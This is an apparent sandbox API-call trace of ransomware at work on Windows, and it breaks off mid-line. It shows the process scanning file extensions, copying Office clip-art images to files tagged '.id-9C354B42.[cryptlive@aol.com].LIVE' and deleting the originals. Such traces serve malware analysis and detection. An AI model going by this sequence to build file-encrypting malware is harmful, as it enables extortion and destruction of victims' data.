[0150.040] lstrlenW (lpString=".docx") returned 5 [0150.040] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0150.040] lstrlenW (lpString=".pdf") returned 4 [0150.040] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.040] lstrlenW (lpString=".xls") returned 4 [0150.040] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.040] lstrlenW (lpString=".xlsx") returned 5 [0150.040] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0150.040] lstrlenW (lpString=".ppt") returned 4 [0150.040] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.040] lstrlenW (lpString=".zip") returned 4 [0150.040] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.040] lstrlenW (lpString=".rar") returned 4 [0150.040] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.040] lstrlenW (lpString=".bz2") returned 4 [0150.040] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.040] lstrlenW (lpString=".7z") returned 3 [0150.040] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.040] lstrlenW (lpString=".dbf") returned 4 [0150.040] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.040] lstrlenW (lpString=".1cd") returned 4 [0150.040] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0150.040] lstrlenW (lpString=".jpg") returned 4 [0150.040] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.040] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.040] lstrlenW (lpString="J0101857.BMP") returned 12 [0150.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0150.055] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0150.055] CloseHandle (hObject=0x1dc) returned 1 [0150.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 0x20 [0150.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.142] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.142] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.187] GetLastError () returned 0x0 [0150.187] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.327] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.329] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.329] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.329] SetEndOfFile (hFile=0x350) returned 1 [0150.329] CloseHandle (hObject=0x350) returned 1 [0150.329] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.329] SetEndOfFile (hFile=0x3b4) returned 1 [0150.331] CloseHandle (hObject=0x3b4) returned 1 [0150.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.333] lstrlenW (lpString=".doc") returned 4 [0150.333] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString=".docx") returned 5 [0150.333] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0150.333] lstrlenW (lpString=".pdf") returned 4 [0150.333] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString=".xls") returned 4 [0150.333] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString=".xlsx") returned 5 [0150.333] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0150.333] lstrlenW (lpString=".ppt") returned 4 [0150.333] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.333] lstrlenW (lpString=".zip") returned 4 [0150.333] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString=".rar") returned 4 [0150.333] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString=".bz2") returned 4 [0150.333] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.333] lstrlenW (lpString=".7z") returned 3 [0150.334] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString=".dbf") returned 4 [0150.334] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString=".1cd") returned 4 [0150.334] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString=".jpg") returned 4 [0150.334] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString=".doc") returned 4 [0150.334] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString=".docx") returned 5 [0150.334] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0150.334] lstrlenW (lpString=".pdf") returned 4 [0150.334] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString=".xls") returned 4 [0150.334] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString=".xlsx") returned 5 [0150.334] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0150.334] lstrlenW (lpString=".ppt") returned 4 [0150.334] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString=".zip") returned 4 [0150.334] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString=".rar") returned 4 [0150.334] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString=".bz2") returned 4 [0150.334] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.334] lstrlenW (lpString=".7z") returned 3 [0150.334] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.334] lstrlenW (lpString=".dbf") returned 4 [0150.335] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.335] lstrlenW (lpString=".1cd") returned 4 [0150.335] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0150.335] lstrlenW (lpString=".jpg") returned 4 [0150.335] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.335] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.335] lstrlenW (lpString="J0101860.BMP") returned 12 [0150.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.337] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0150.337] CloseHandle (hObject=0x3b4) returned 1 [0150.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 0x20 [0150.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.337] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.338] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.338] GetLastError () returned 0x0 [0150.338] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.374] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.376] ReadFile (in: hFile=0x3b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.376] WriteFile (in: hFile=0x350, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.376] SetEndOfFile (hFile=0x350) returned 1 [0150.376] CloseHandle (hObject=0x350) returned 1 [0150.376] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.376] SetEndOfFile (hFile=0x3b4) returned 1 [0150.378] CloseHandle (hObject=0x3b4) returned 1 [0150.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0150.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.385] lstrlenW (lpString=".doc") returned 4 [0150.385] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString=".docx") returned 5 [0150.385] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0150.385] lstrlenW (lpString=".pdf") returned 4 [0150.385] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString=".xls") returned 4 [0150.385] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString=".xlsx") returned 5 [0150.385] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0150.385] lstrlenW (lpString=".ppt") returned 4 [0150.385] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.385] lstrlenW (lpString=".zip") returned 4 [0150.385] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString=".rar") returned 4 [0150.385] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString=".bz2") returned 4 [0150.385] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString=".7z") returned 3 [0150.385] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.385] lstrlenW (lpString=".dbf") returned 4 [0150.385] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.385] lstrlenW (lpString=".1cd") returned 4 [0150.385] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.386] lstrlenW (lpString=".jpg") returned 4 [0150.386] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.386] lstrlenW (lpString=".doc") returned 4 [0150.386] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString=".docx") returned 5 [0150.386] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0150.386] lstrlenW (lpString=".pdf") returned 4 [0150.386] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString=".xls") returned 4 [0150.386] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString=".xlsx") returned 5 [0150.386] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0150.386] lstrlenW (lpString=".ppt") returned 4 [0150.386] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.386] lstrlenW (lpString=".zip") returned 4 [0150.386] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString=".rar") returned 4 [0150.386] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString=".bz2") returned 4 [0150.386] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.386] lstrlenW (lpString=".7z") returned 3 [0150.386] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.386] lstrlenW (lpString=".dbf") returned 4 [0150.386] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.387] lstrlenW (lpString=".1cd") returned 4 [0150.387] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP") returned 63 [0150.387] lstrlenW (lpString=".jpg") returned 4 [0150.387] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.387] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.387] lstrlenW (lpString="J0101863.BMP") returned 12 [0150.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.388] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=32184) returned 1 [0150.388] CloseHandle (hObject=0x350) returned 1 [0150.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 0x20 [0150.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0150.388] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.388] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.389] GetLastError () returned 0x0 [0150.389] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.404] WriteFile (in: hFile=0x36c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.405] ReadFile (in: hFile=0x350, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.405] WriteFile (in: hFile=0x36c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.405] SetEndOfFile (hFile=0x36c) returned 1 [0150.405] CloseHandle (hObject=0x36c) returned 1 [0150.405] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.405] SetEndOfFile (hFile=0x350) returned 1 [0150.408] CloseHandle (hObject=0x350) returned 1 [0150.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp")) returned 1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.409] lstrlenW (lpString=".doc") returned 4 [0150.409] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString=".docx") returned 5 [0150.409] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0150.409] lstrlenW (lpString=".pdf") returned 4 [0150.409] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString=".xls") returned 4 [0150.409] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString=".xlsx") returned 5 [0150.409] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0150.409] lstrlenW (lpString=".ppt") returned 4 [0150.409] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.409] lstrlenW (lpString=".zip") returned 4 [0150.409] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString=".rar") returned 4 [0150.409] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString=".bz2") returned 4 [0150.409] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString=".7z") returned 3 [0150.409] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.409] lstrlenW (lpString=".dbf") returned 4 [0150.409] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.409] lstrlenW (lpString=".1cd") returned 4 [0150.409] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.410] lstrlenW (lpString=".jpg") returned 4 [0150.410] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.410] lstrlenW (lpString=".doc") returned 4 [0150.410] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.410] lstrlenW (lpString=".docx") returned 5 [0150.410] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0150.410] lstrlenW (lpString=".pdf") returned 4 [0150.410] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.410] lstrlenW (lpString=".xls") returned 4 [0150.410] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.410] lstrlenW (lpString=".xlsx") returned 5 [0150.410] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0150.410] lstrlenW (lpString=".ppt") returned 4 [0150.410] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP") returned 63 [0150.410] lstrlenW (lpString=".zip") returned 4 [0150.410] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.411] lstrlenW (lpString=".rar") returned 4 [0150.411] 